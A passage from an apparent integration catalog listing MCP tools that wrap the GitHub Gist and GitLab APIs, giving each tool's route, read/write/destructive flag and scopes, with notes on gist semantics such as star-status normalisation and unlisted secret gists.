see it. GitHub truncates large files in this payload and points at `raw_url` instead -- this integration exposes no raw-content tool, so a truncated file has to be fetched outside it. GET /api/v1/gist/gists/{gist_id}. Scopes: gist. gist_get_gists_by_gist_id_by_sha (read) — Get a gist revision via GET /gists/{gist_id}/{sha}. One historical snapshot of a gist, by the revision sha that 'List gist commits' reports as `version`. The reply has the same shape as 'Get a gist' with that revision's files. GET /api/v1/gist/gists/{gist_id}/{sha}. Scopes: gist. gist_get_gists_by_gist_id_comments (read) — List gist comments via GET /gists/{gist_id}/comments. The comments on one gist, oldest first. GET /api/v1/gist/gists/{gist_id}/comments. Scopes: gist. gist_get_gists_by_gist_id_comments_by_comment_id (read) — Get a gist comment via GET /gists/{gist_id}/comments/{comment_id}. One comment on a gist, by its numeric id. GET /api/v1/gist/gists/{gist_id}/comments/{comment_id}. Scopes: gist. gist_get_gists_by_gist_id_commits (read) — List gist commits via GET /gists/{gist_id}/commits. A gist's revision history, newest first: each entry carries the revision's `version` sha, its committer and its added/deleted line counts. Pass a `version` to 'Get a gist revision' to read that snapshot's files. GET /api/v1/gist/gists/{gist_id}/commits. Scopes: gist. gist_get_gists_by_gist_id_forks (read) — List gist forks via GET /gists/{gist_id}/forks. The gists forked from this one, newest first. GET /api/v1/gist/gists/{gist_id}/forks. Scopes: gist. gist_get_gists_by_gist_id_star (read) — Check if a gist is starred via GET /gists/{gist_id}/star. Whether the connected account has starred this gist. THE ANSWER IS NORMALISED HERE, because GitHub's is not a body: its reference documents 204 No Content when the gist IS starred and 404 Not Found when it is NOT, so left alone the negative answer would surface as an error and the tool could never say 'no'. This wrapper returns `{"starred": true}` for the 204 and `{"starred": false, "ambiguous": true, ...}` for the 404 -- ambiguous because GitHub answers the same 404 for a gist that does not exist or that this token cannot see, and those are not 'not starred'. Cited to GitHub's documented status codes, NOT measured: the route is per-user and answers 401 without a token, and no token exists for this integration yet. GET /api/v1/gist/gists/{gist_id}/star. Scopes: gist. gist_get_gists_public (read) — List public gists via GET /gists/public. Every public gist on GitHub, newest first -- OTHER PEOPLE'S, by design, and the name says so. Measured 2026-09-22: answers 200 with 30 results to no credential at all, so it reveals nothing about the connected account and proves nothing about the token. GET /api/v1/gist/gists/public. Scopes: gist. gist_get_gists_starred (read) — List starred gists via GET /gists/starred. The gists the connected account has starred, newest first. This is also the connection's health check: it is per-user and has NO anonymous form (measured 2026-09-22: 401 'Requires authentication' with no credential, 401 'Bad credentials' with a bogus one), which is why the probe uses it instead of 'List your gists'. GET /api/v1/gist/gists/starred. Scopes: gist. gist_get_users_by_username_gists (read) — List a user's gists via GET /users/{username}/gists. A named GitHub user's PUBLIC gists, newest first. Public data: it carries nothing the connected account owns, and the username is a caller's value rather than a credential. GET /api/v1/gist/users/{username}/gists. Scopes: gist. gist_patch_gists_by_gist_id (write) — Update a gist via PATCH /gists/{gist_id}. Updates a gist's description and files. The file semantics are GitHub's and are easy to get wrong: each key in `files` must match the file's CURRENT filename, a `filename` value renames it, and a NULL value DELETES that file from the gist. So this write can destroy content even though it is not the delete tool. PATCH /api/v1/gist/gists/{gist_id}. Scopes: gist. gist_patch_gists_by_gist_id_comments_by_comment_id (write) — Update a gist comment via PATCH /gists/{gist_id}/comments/{comment_id}. Replaces a comment's text. Only the comment's author can update it; another account's token is refused by GitHub, not by this connector. PATCH /api/v1/gist/gists/{gist_id}/comments/{comment_id}. Scopes: gist. gist_post_gists (write) — Create a gist via POST /gists. Creates a gist in the connected account. `files` is an object keyed by FILENAME, each value carrying `content`; `public` defaults to false, and GitHub's own reference warns that a secret gist is unlisted rather than private -- anyone with the URL can read it, so nothing confidential belongs in one. Requires the `gist` scope: GitHub documents that you must be signed in to create a gist. POST /api/v1/gist/gists. Scopes: gist. gist_post_gists_by_gist_id_comments (write) — Create a gist comment via POST /gists/{gist_id}/comments. Posts a comment on a gist as the connected account. `body` is required and GitHub caps it at 65,535 characters. POST /api/v1/gist/gists/{gist_id}/comments. Scopes: gist. gist_post_gists_by_gist_id_forks (write) — Fork a gist via POST /gists/{gist_id}/forks. Copies someone else's gist into the connected account as a new gist. It creates something rather than changing the original, and the new gist's id is in the 201 body. POST /api/v1/gist/gists/{gist_id}/forks. Scopes: gist. gist_put_gists_by_gist_id_star (write) — Star a gist via PUT /gists/{gist_id}/star. Stars a gist as the connected account. Idempotent; GitHub answers 204 with an empty body. PUT /api/v1/gist/gists/{gist_id}/star. Scopes: gist. ================================================================================ ## GitLab URL: https://www.agenticfabriq.com/integrations/gitlab Section: Integrated Tools GitLab — 218 MCP tools Provider key: gitlab. Scopes: none. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. gitlab_delete_groups_by_id (write, destructive) — Delete groups id via DELETE /groups/{id} DELETE /api/v1/gitlab/groups/{id}. Scopes: none. gitlab_delete_groups_by_id_labels (write, destructive) — Delete groups id labels via DELETE /groups/{id}/labels DELETE /api/v1/gitlab/groups/{id}/labels. Scopes: none. gitlab_delete_groups_by_id_labels_by_name (write, destructive) — Delete groups id labels name via DELETE /groups/{id}/labels/{name} DELETE /api/v1/gitlab/groups/{id}/labels/{name}. Scopes: none. gitlab_delete_groups_by_id_members_by_user_id (write, destructive) — Delete groups id members user id via DELETE /groups/{id}/members/{user_id} DELETE /api/v1/gitlab/groups/{id}/members/{user_id}. Scopes: none. gitlab_delete_groups_by_id_milestones_by_milestone_id (write, destructive) — Delete groups id milestones milestone id via DELETE /groups/{id}/milestones/{milestone_id} DELETE /api/v1/gitlab/groups/{id}/milestones/{milestone_id}. Scopes: none. gitlab_delete_projects_by_id (write, destructive) — Delete projects id via DELETE /projects/{id} DELETE /api/v1/gitlab/projects/{id}. Scopes: none. gitlab_delete_projects_by_id_issues_by_issue_iid (write, destructive) — Delete projects id issues issue iid via DELETE /projects/{id}/issues/{issue_iid} DELETE /api/v1/gitlab/projects/{id}/issues/{issue_iid}. Scopes: none. gitlab_delete_projects_by_id_issues_by_issue_iid_award_emoji_by_award_id (write, destructive) — Delete projects id issues issue iid award emoji award id via DELETE /projects/{id}/issues/{issue_iid}/award_emoji/{award_id} DELETE /api/v1/gitlab/projects/{id}/issues/{issue_iid}/award_emoji/{award_id}. Scopes: none. gitlab_delete_projects_by_id_issues_by_issue_iid_links_by_issue_link_id (write, destructive) — Delete projects id issues issue iid links issue link id via DELETE /projects/{id}/issues/{issue_iid}/links/{issue_link_id} DELETE /api/v1/gitlab/projects/{id}/issues/{issue_iid}/links/{issue_link_id}. Scopes: none. gitlab_delete_projects_by_id_issues_by_issue_iid_notes_by_note_id_award_emoji_by_award_id (write, destructive) — Delete projects id issues issue iid notes note id award emoji award id via DELETE /projects/{id}/issues/{issue_iid}/notes/{note_id}/award_emoji/{award_id} DELETE /api/v1/gitlab/projects/{id}/issues/{issue_iid}/notes/{note_id}/award_emoji/{award_id}. Scopes: none. gitlab_delete_projects_by_id_issues_by_noteable_id_discussions_by_discussion_id_notes_by_note_id (write, destructive) — Delete projects id issues noteable id discussions discussion id notes note id via DELETE /projects/{id}/issues/{noteable_id}/discussions/{discussion_id}/notes/{note_id} DELETE /api/v1/gitlab/projects/{id}/issues/{noteable_id}/discussions/{discussion_id}/notes/{note_id}. Scopes: none. gitlab_delete_projects_by_id_issues_by_noteable_id_notes_by_note_id (write, destructive) — Delete projects id issues noteable id notes note id via DELETE /projects/{id}/issues/{noteable_id}/notes/{note_id} DELETE /api/v1/gitlab/projects/{id}/issues/{noteable_id}/notes/{note_id}. Scopes: none. gitlab_delete_projects_by_id_labels (write, destructive) — Delete projects id labels via DELETE /projects/{id}/labels DELETE /api/v1/gitlab/projects/{id}/labels. Scopes: none. gitlab_delete_projects_by_id_labels_by_name (write, destructive) — Delete projects id labels name via DELETE /projects/{id}/labels/{name} DELETE /api/v1/gitlab/projects/{id}/labels/{name}. Scopes: none. gitlab_delete_projects_by_id_members_by_user_id (write, destructive) — Delete projects id members user id via DELETE /projects/{id}/members/{user_id} DELETE /api/v1/gitlab/projects/{id}/members/{user_id}. Scopes: none. gitlab_delete_projects_by_id_merge_requests_by_merge_request_iid (write, destructive) — Delete projects id merge requests merge request iid via DELETE /projects/{id}/merge_requests/{merge_request_iid} DELETE /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}. Scopes: none. gitlab_delete_projects_by_id_merge_requests_by_merge_request_iid_award_emoji_by_award_id (write, destructive) — Delete projects id merge requests merge request iid award emoji award id via DELETE /projects/{id}/merge_requests/{merge_request_iid}/award_emoji/{award_id} DELETE /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}/award_emoji/{award_id}. Scopes: none. gitlab_delete_projects_by_id_merge_requests_by_merge_request_iid_notes_by_note_id_award_emoji_by_award_id (write, destructive) — Delete projects id merge requests merge request iid notes note id award emoji award id via DELETE /projects/{id}/merge_requests/{merge_request_iid}/notes/{note_id}/award_emoji/{award_id} DELETE /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}/notes/{note_id}/award_emoji/{award_id}. Scopes: none. gitlab_delete_projects_by_id_merge_requests_by_noteable_id_discussions_by_discussion_id_notes_by_note_id (write, destructive) — Delete projects id merge requests noteable id discussions discussion id notes note id via DELETE /projects/{id}/merge_requests/{noteable_id}/discussions/{discussion_id}/notes/{note_id} DELETE /api/v1/gitlab/projects/{id}/merge_requests/{noteable_id}/discussions/{discussion_id}/notes/{note_id}. Scopes: none. gitlab_delete_projects_by_id_merge_requests_by_noteable_id_notes_by_note_id (write, destructive) — Delete projects id merge requests noteable id notes note id via DELETE /projects/{id}/merge_requests/{noteable_id}/notes/{note_id} DELETE /api/v1/gitlab/projects/{id}/merge_requests/{noteable_id}/notes/{note_id}. Scopes: none. gitlab_delete_projects_by_id_milestones_by_milestone_id (write, destructive) — Delete projects id milestones milestone id via DELETE /projects/{id}/milestones/{milestone_id} DELETE /api/v1/gitlab/projects/{id}/milestones/{milestone_id}. Scopes: none. gitlab_delete_projects_by_id_protected_branches_by_name (write, destructive) — Delete projects id protected branches name via DELETE /projects/{id}/protected_branches/{name} DELETE /api/v1/gitlab/projects/{id}/protected_branches/{name}. Scopes: none. gitlab_delete_projects_by_id_releases_by_tag_name (write, destructive) — Delete projects id releases tag name via DELETE /projects/{id}/releases/{tag_name} DELETE /api/v1/gitlab/projects/{id}/releases/{tag_name}. Scopes: none. gitlab_delete_projects_by_id_releases_by_tag_name_assets_links_by_link_id (write, destructive) — Delete projects id releases tag name assets links link id via DELETE /projects/{id}/releases/{tag_name}/assets/links/{link_id} DELETE /api/v1/gitlab/projects/{id}/releases/{tag_name}/assets/links/{link_id}. Scopes: none. gitlab_delete_projects_by_id_repository_branches_by_branch (write, destructive) — Delete projects id repository branches branch via DELETE /projects/{id}/repository/branches/{branch} DELETE /api/v1/gitlab/projects/{id}/repository/branches/{branch}. Scopes: none. gitlab_delete_projects_by_id_repository_files_by_file_path (write, destructive) — Delete projects id repository files file path via DELETE /projects/{id}/repository/files/{file_path} DELETE /api/v1/gitlab/projects/{id}/repository/files/{file_path}. Scopes: none. gitlab_delete_projects_by_id_repository_merged_branches (write, destructive) — Delete projects id repository merged branches via DELETE /projects/{id}/repository/merged_branches DELETE /api/v1/gitlab/projects/{id}/repository/merged_branches. Scopes: none. gitlab_delete_projects_by_id_repository_tags_by_tag_name (write, destructive) — Delete projects id repository tags tag name via DELETE /projects/{id}/repository/tags/{tag_name} DELETE /api/v1/gitlab/projects/{id}/repository/tags/{tag_name}. Scopes: none. gitlab_delete_projects_by_id_snippets_by_snippet_id (write, destructive) — Delete projects id snippets snippet id via DELETE /projects/{id}/snippets/{snippet_id} DELETE /api/v1/gitlab/projects/{id}/snippets/{snippet_id}. Scopes: none. gitlab_delete_projects_by_id_wikis_by_slug (write, destructive) — Delete projects id wikis slug via DELETE /projects/{id}/wikis/{slug} DELETE /api/v1/gitlab/projects/{id}/wikis/{slug}. Scopes: none. gitlab_delete_users_by_id (write, destructive) — Delete users id via DELETE /users/{id} DELETE /api/v1/gitlab/users/{id}. Scopes: none. gitlab_get_groups (read) — Get groups via GET /groups GET /api/v1/gitlab/groups. Scopes: none. gitlab_get_groups_by_id (read) — Get groups id via GET /groups/{id} GET /api/v1/gitlab/groups/{id}. Scopes: none. gitlab_get_groups_by_id_descendant_groups (read) — Get groups id descendant groups via GET /groups/{id}/descendant_groups GET /api/v1/gitlab/groups/{id}/descendant_groups. Scopes: none. gitlab_get_groups_by_id_labels (read) — Get groups id labels via GET /groups/{id}/labels GET /api/v1/gitlab/groups/{id}/labels. Scopes: none. gitlab_get_groups_by_id_labels_by_name (read) — Get groups id labels name via GET /groups/{id}/labels/{name} GET /api/v1/gitlab/groups/{id}/labels/{name}. Scopes: none. gitlab_get_groups_by_id_members (read) — Get groups id members via GET /groups/{id}/members GET /api/v1/gitlab/groups/{id}/members. Scopes: none. gitlab_get_groups_by_id_members_all (read) — Get groups id members all via GET /groups/{id}/members/all GET /api/v1/gitlab/groups/{id}/members/all. Scopes: none. gitlab_get_groups_by_id_members_all_by_user_id (read) — Get groups id members all user id via GET /groups/{id}/members/all/{user_id} GET /api/v1/gitlab/groups/{id}/members/all/{user_id}. Scopes: none. gitlab_get_groups_by_id_members_by_user_id (read) — Get groups id members user id via GET /groups/{id}/members/{user_id} GET /api/v1/gitlab/groups/{id}/members/{user_id}. Scopes: none. gitlab_get_groups_by_id_milestones (read) — Get groups id milestones via GET /groups/{id}/milestones GET /api/v1/gitlab/groups/{id}/milestones. Scopes: none. gitlab_get_groups_by_id_milestones_by_milestone_id (read) — Get groups id milestones milestone id via GET /groups/{id}/milestones/{milestone_id} GET /api/v1/gitlab/groups/{id}/milestones/{milestone_id}. Scopes: none. gitlab_get_groups_by_id_projects (read) — Get groups id projects via GET /groups/{id}/projects GET /api/v1/gitlab/groups/{id}/projects. Scopes: none. gitlab_get_groups_by_id_subgroups (read) — Get groups id subgroups via GET /groups/{id}/subgroups GET /api/v1/gitlab/groups/{id}/subgroups. Scopes: none. gitlab_get_issues (read) — Get issues via GET /issues GET /api/v1/gitlab/issues. Scopes: none. gitlab_get_merge_requests (read) — Get merge requests via GET /merge_requests GET /api/v1/gitlab/merge_requests. Scopes: none. gitlab_get_namespaces (read) — Get namespaces via GET /namespaces GET /api/v1/gitlab/namespaces. Scopes: none. gitlab_get_namespaces_by_id (read) — Get namespaces id via GET /namespaces/{id} GET /api/v1/gitlab/namespaces/{id}. Scopes: none. gitlab_get_projects (read) — Get projects via GET /projects GET /api/v1/gitlab/projects. Scopes: none. gitlab_get_projects_by_id (read) — Get projects id via GET /projects/{id} GET /api/v1/gitlab/projects/{id}. Scopes: none. gitlab_get_projects_by_id_issues (read) — Get projects id issues via GET /projects/{id}/issues GET /api/v1/gitlab/projects/{id}/issues. Scopes: none. gitlab_get_projects_by_id_issues_by_issue_iid (read) — Get projects id issues issue iid via GET /projects/{id}/issues/{issue_iid} GET /api/v1/gitlab/projects/{id}/issues/{issue_iid}. Scopes: none. gitlab_get_projects_by_id_issues_by_issue_iid_award_emoji (read) — Get projects id issues issue iid award emoji via GET /projects/{id}/issues/{issue_iid}/award_emoji GET /api/v1/gitlab/projects/{id}/issues/{issue_iid}/award_emoji. Scopes: none. gitlab_get_projects_by_id_issues_by_issue_iid_award_emoji_by_award_id (read) — Get projects id issues issue iid award emoji award id via GET /projects/{id}/issues/{issue_iid}/award_emoji/{award_id} GET /api/v1/gitlab/projects/{id}/issues/{issue_iid}/award_emoji/{award_id}. Scopes: none. gitlab_get_projects_by_id_issues_by_issue_iid_closed_by (read) — Get projects id issues issue iid closed by via GET /projects/{id}/issues/{issue_iid}/closed_by GET /api/v1/gitlab/projects/{id}/issues/{issue_iid}/closed_by. Scopes: none. gitlab_get_projects_by_id_issues_by_issue_iid_links (read) — Get projects id issues issue iid links via GET /projects/{id}/issues/{issue_iid}/links GET /api/v1/gitlab/projects/{id}/issues/{issue_iid}/links. Scopes: none. gitlab_get_projects_by_id_issues_by_issue_iid_links_by_issue_link_id (read) — Get projects id issues issue iid links issue link id via GET /projects/{id}/issues/{issue_iid}/links/{issue_link_id} GET /api/v1/gitlab/projects/{id}/issues/{issue_iid}/links/{issue_link_id}. Scopes: none. gitlab_get_projects_by_id_issues_by_issue_iid_notes_by_note_id_award_emoji (read) — Get projects id issues issue iid notes note id award emoji via GET /projects/{id}/issues/{issue_iid}/notes/{note_id}/award_emoji GET /api/v1/gitlab/projects/{id}/issues/{issue_iid}/notes/{note_id}/award_emoji. Scopes: none. gitlab_get_projects_by_id_issues_by_issue_iid_notes_by_note_id_award_emoji_by_award_id (read) — Get projects id issues issue iid notes note id award emoji award id via GET /projects/{id}/issues/{issue_iid}/notes/{note_id}/award_emoji/{award_id} GET /api/v1/gitlab/projects/{id}/issues/{issue_iid}/notes/{note_id}/award_emoji/{award_id}. Scopes: none. gitlab_get_projects_by_id_issues_by_issue_iid_participants (read) — Get projects id issues issue iid participants via GET /projects/{id}/issues/{issue_iid}/participants GET /api/v1/gitlab/projects/{id}/issues/{issue_iid}/participants. Scopes: none. gitlab_get_projects_by_id_issues_by_issue_iid_related_merge_requests (read) — Get projects id issues issue iid related merge requests via GET /projects/{id}/issues/{issue_iid}/related_merge_requests GET /api/v1/gitlab/projects/{id}/issues/{issue_iid}/related_merge_requests. Scopes: none. gitlab_get_projects_by_id_issues_by_noteable_id_discussions (read) — Get projects id issues noteable id discussions via GET /projects/{id}/issues/{noteable_id}/discussions GET /api/v1/gitlab/projects/{id}/issues/{noteable_id}/discussions. Scopes: none. gitlab_get_projects_by_id_issues_by_noteable_id_discussions_by_discussion_id (read) — Get projects id issues noteable id discussions discussion id via GET /projects/{id}/issues/{noteable_id}/discussions/{discussion_id} GET /api/v1/gitlab/projects/{id}/issues/{noteable_id}/discussions/{discussion_id}. Scopes: none. gitlab_get_projects_by_id_issues_by_noteable_id_discussions_by_discussion_id_notes (read) — Get projects id issues noteable id discussions discussion id notes via GET /projects/{id}/issues/{noteable_id}/discussions/{discussion_id}/notes GET /api/v1/gitlab/projects/{id}/issues/{noteable_id}/discussions/{discussion_id}/notes. Scopes: none. gitlab_get_projects_by_id_issues_by_noteable_id_discussions_by_discussion_id_notes_by_note_id (read) — Get projects id issues noteable id discussions discussion id notes note id via GET /projects/{id}/issues/{noteable_id}/discussions/{discussion_id}/notes/{note_id} GET /api/v1/gitlab/projects/{id}/issues/{noteable_id}/discussions/{discussion_id}/notes/{note_id}. Scopes: none. gitlab_get_projects_by_id_issues_by_noteable_id_notes (read) — Get projects id issues noteable id notes via GET /projects/{id}/issues/{noteable_id}/notes GET /api/v1/gitlab/projects/{id}/issues/{noteable_id}/notes. Scopes: none. gitlab_get_projects_by_id_issues_by_noteable_id_notes_by_note_id (read) — Get projects id issues noteable id notes note id via GET /projects/{id}/issues/{noteable_id}/notes/{note_id} GET /api/v1/gitlab/projects/{id}/issues/{noteable_id}/notes/{note_id}. Scopes: none. gitlab_get_projects_by_id_labels (read) — Get projects id labels via GET /projects/{id}/labels GET /api/v1/gitlab/projects/{id}/labels. Scopes: none. gitlab_get_projects_by_id_labels_by_name (read) — Get projects id labels name via GET /projects/{id}/labels/{name} GET /api/v1/gitlab/projects/{id}/labels/{name}. Scopes: none. gitlab_get_projects_by_id_languages (read) — Get projects id languages via GET /projects/{id}/languages GET /api/v1/gitlab/projects/{id}/languages. Scopes: none. gitlab_get_projects_by_id_members (read) — Get projects id members via GET /projects/{id}/members GET /api/v1/gitlab/projects/{id}/members. Scopes: none. gitlab_get_projects_by_id_members_all (read) — Get projects id members all via GET /projects/{id}/members/all GET /api/v1/gitlab/projects/{id}/members/all. Scopes: none. gitlab_get_projects_by_id_members_all_by_user_id (read) — Get projects id members all user id via GET /projects/{id}/members/all/{user_id} GET /api/v1/gitlab/projects/{id}/members/all/{user_id}. Scopes: none. gitlab_get_projects_by_id_members_by_user_id (read) — Get projects id members user id via GET /projects/{id}/members/{user_id} GET /api/v1/gitlab/projects/{id}/members/{user_id}. Scopes: none. gitlab_get_projects_by_id_merge_requests (read) — Get projects id merge requests via GET /projects/{id}/merge_requests GET /api/v1/gitlab/projects/{id}/merge_requests. Scopes: none. gitlab_get_projects_by_id_merge_requests_by_merge_request_iid (read) — Get projects id merge requests merge request iid via GET /projects/{id}/merge_requests/{merge_request_iid} GET /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}. Scopes: none. gitlab_get_projects_by_id_merge_requests_by_merge_request_iid_approvals (read) — Get projects id merge requests merge request iid approvals via GET /projects/{id}/merge_requests/{merge_request_iid}/approvals GET /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}/approvals. Scopes: none. gitlab_get_projects_by_id_merge_requests_by_merge_request_iid_award_emoji (read) — Get projects id merge requests merge request iid award emoji via GET /projects/{id}/merge_requests/{merge_request_iid}/award_emoji GET /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}/award_emoji. Scopes: none. gitlab_get_projects_by_id_merge_requests_by_merge_request_iid_award_emoji_by_award_id (read) — Get projects id merge requests merge request iid award emoji award id via GET /projects/{id}/merge_requests/{merge_request_iid}/award_emoji/{award_id} GET /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}/award_emoji/{award_id}. Scopes: none. gitlab_get_projects_by_id_merge_requests_by_merge_request_iid_changes (read) — Get projects id merge requests merge request iid changes via GET /projects/{id}/merge_requests/{merge_request_iid}/changes GET /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}/changes. Scopes: none. gitlab_get_projects_by_id_merge_requests_by_merge_request_iid_closes_issues (read) — Get projects id merge requests merge request iid closes issues via GET /projects/{id}/merge_requests/{merge_request_iid}/closes_issues GET /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}/closes_issues. Scopes: none. gitlab_get_projects_by_id_merge_requests_by_merge_request_iid_commits (read) — Get projects id merge requests merge request iid commits via GET /projects/{id}/merge_requests/{merge_request_iid}/commits GET /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}/commits. Scopes: none. gitlab_get_projects_by_id_merge_requests_by_merge_request_iid_diffs (read) — Get projects id merge requests merge request iid diffs via GET /projects/{id}/merge_requests/{merge_request_iid}/diffs GET /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}/diffs. Scopes: none. gitlab_get_projects_by_id_merge_requests_by_merge_request_iid_notes_by_note_id_award_emoji (read) — Get projects id merge requests merge request iid notes note id award emoji via GET /projects/{id}/merge_requests/{merge_request_iid}/notes/{note_id}/award_emoji GET /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}/notes/{note_id}/award_emoji. Scopes: none. gitlab_get_projects_by_id_merge_requests_by_merge_request_iid_notes_by_note_id_award_emoji_by_award_id (read) — Get projects id merge requests merge request iid notes note id award emoji award id via GET /projects/{id}/merge_requests/{merge_request_iid}/notes/{note_id}/award_emoji/{award_id} GET /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}/notes/{note_id}/award_emoji/{award_id}. Scopes: none. gitlab_get_projects_by_id_merge_requests_by_merge_request_iid_participants (read) — Get projects id merge requests merge request iid participants via GET /projects/{id}/merge_requests/{merge_request_iid}/participants GET /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}/participants. Scopes: none. gitlab_get_projects_by_id_merge_requests_by_merge_request_iid_reviewers (read) — Get projects id merge requests merge request iid reviewers via GET /projects/{id}/merge_requests/{merge_request_iid}/reviewers GET /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}/reviewers. Scopes: none. gitlab_get_projects_by_id_merge_requests_by_merge_request_iid_versions (read) — Get projects id merge requests merge request iid versions via GET /projects/{id}/merge_requests/{merge_request_iid}/versions GET /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}/versions. Scopes: none. gitlab_get_projects_by_id_merge_requests_by_merge_request_iid_versions_by_version_id (read) — Get projects id merge requests merge request iid versions version id via GET /projects/{id}/merge_requests/{merge_request_iid}/versions/{version_id} GET /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}/versions/{version_id}. Scopes: none. gitlab_get_projects_by_id_merge_requests_by_noteable_id_discussions (read) — Get projects id merge requests noteable id discussions via GET /projects/{id}/merge_requests/{noteable_id}/discussions GET /api/v1/gitlab/projects/{id}/merge_requests/{noteable_id}/discussions. Scopes: none. gitlab_get_projects_by_id_merge_requests_by_noteable_id_discussions_by_discussion_id (read) — Get projects id merge requests noteable id discussions discussion id via GET /projects/{id}/merge_requests/{noteable_id}/discussions/{discussion_id} GET /api/v1/gitlab/projects/{id}/merge_requests/{noteable_id}/discussions/{discussion_id}. Scopes: none. gitlab_get_projects_by_id_merge_requests_by_noteable_id_discussions_by_discussion_id_notes (read) — Get projects id merge requests noteable id discussions discussion id notes via GET /projects/{id}/merge_requests/{noteable_id}/discussions/{discussion_id}/notes GET /api/v1/gitlab/projects/{id}/merge_requests/{noteable_id}/discussions/{discussion_id}/notes. Scopes: none. gitlab_get_projects_by_id_merge_requests_by_noteable_id_discussions_by_discussion_id_notes_by_note_id (read) — Get projects id merge requests noteable id discussions discussion id notes note id via GET /projects/{id}/merge_requests/{noteable_id}/discussions/{discussion_id}/notes/{note_id} GET /api/v1/gitlab/projects/{id}/merge_requests/{noteable_id}/discussions/{discussion_id}/notes/{note_id}. Scopes: none. gitlab_get_projects_by_id_merge_requests_by_noteable_id_notes (read) — Get projects id merge requests noteable id notes via GET /projects/{id}/merge_requests/{noteable_id}/notes GET /api/v1/gitlab/projects/{id}/merge_requests/{noteable_id}/notes. Scopes: none. gitlab_get_projects_by_id_merge_requests_by_noteable_id_notes_by_note_id (read) — Get projects id merge requests noteable id notes note id via GET /projects/{id}/merge_requests/{noteable_id}/notes/{note_id} GET /api/v1/gitlab/projects/{id}/merge_requests/{noteable_id}/notes/{note_id}. Scopes: none. gitlab_get_projects_by_id_milestones (read) — Get projects id milestones via GET /projects/{id}/milestones GET /api/v1/gitlab/projects/{id}/milestones. Scopes: none. gitlab_get_projects_by_id_milestones_by_milestone_id (read) — Get projects id milestones milestone id via GET /projects/{id}/milestones/{milestone_id} GET /api/v1/gitlab/projects/{id}/milestones/{milestone_id}. Scopes: none. gitlab_get_projects_by_id_milestones_by_milestone_id_issues (read) — Get projects id milestones milestone id issues via GET /projects/{id}/milestones/{milestone_id}/issues GET /api/v1/gitlab/projects/{id}/milestones/{milestone_id}/issues. Scopes: none. gitlab_get_projects_by_id_milestones_by_milestone_id_merge_requests (read) — Get projects id milestones milestone id merge requests via GET /projects/{id}/milestones/{milestone_id}/merge_requests GET /api/v1/gitlab/projects/{id}/milestones/{milestone_id}/merge_requests. Scopes: none. gitlab_get_projects_by_id_protected_branches (read) — Get projects id protected branches via GET /projects/{id}/protected_branches GET /api/v1/gitlab/projects/{id}/protected_branches. Scopes: none. gitlab_get_projects_by_id_protected_branches_by_name (read) — Get projects id protected branches name via GET /projects/{id}/protected_branches/{name} GET /api/v1/gitlab/projects/{id}/protected_branches/{name}. Scopes: none. gitlab_get_projects_by_id_releases (read) — Get projects id releases via GET /projects/{id}/releases GET /api/v1/gitlab/projects/{id}/releases. Scopes: none. gitlab_get_projects_by_id_releases_by_tag_name (read) — Get projects id releases tag name via GET /projects/{id}/releases/{tag_name} GET /api/v1/gitlab/projects/{id}/releases/{tag_name}. Scopes: none. gitlab_get_projects_by_id_releases_by_tag_name_assets_links (read) — Get projects id releases tag name assets links via GET /projects/{id}/releases/{tag_name}/assets/links GET /api/v1/gitlab/projects/{id}/releases/{tag_name}/assets/links. Scopes: none. gitlab_get_projects_by_id_releases_by_tag_name_assets_links_by_link_id (read) — Get projects id releases tag name assets links link id via GET /projects/{id}/releases/{tag_name}/assets/links/{link_id} GET /api/v1/gitlab/projects/{id}/releases/{tag_name}/assets/links/{link_id}. Scopes: none. gitlab_get_projects_by_id_repository_archive (read) — Get projects id repository archive via GET /projects/{id}/repository/archive GET /api/v1/gitlab/projects/{id}/repository/archive. Scopes: none. gitlab_get_projects_by_id_repository_branches (read) — Get projects id repository branches via GET /projects/{id}/repository/branches GET /api/v1/gitlab/projects/{id}/repository/branches. Scopes: none. gitlab_get_projects_by_id_repository_branches_by_branch (read) — Get projects id repository branches branch via GET /projects/{id}/repository/branches/{branch} GET /api/v1/gitlab/projects/{id}/repository/branches/{branch}. Scopes: none. gitlab_get_projects_by_id_repository_commits (read) — Get projects id repository commits via GET /projects/{id}/repository/commits GET /api/v1/gitlab/projects/{id}/repository/commits. Scopes: none. gitlab_get_projects_by_id_repository_commits_by_sha (read) — Get projects id repository commits sha via GET /projects/{id}/repository/commits/{sha} GET /api/v1/gitlab/projects/{id}/repository/commits/{sha}. Scopes: none. gitlab_get_projects_by_id_repository_commits_by_sha_comments (read) — Get projects id repository commits sha comments via GET /projects/{id}/repository/commits/{sha}/comments GET /api/v1/gitlab/projects/{id}/repository/commits/{sha}/comments. Scopes: none. gitlab_get_projects_by_id_repository_commits_by_sha_diff (read) — Get projects id repository commits sha diff via GET /projects/{id}/repository/commits/{sha}/diff GET /api/v1/gitlab/projects/{id}/repository/commits/{sha}/diff. Scopes: none. gitlab_get_projects_by_id_repository_commits_by_sha_merge_requests (read) — Get projects id repository commits sha merge requests via GET /projects/{id}/repository/commits/{sha}/merge_requests GET 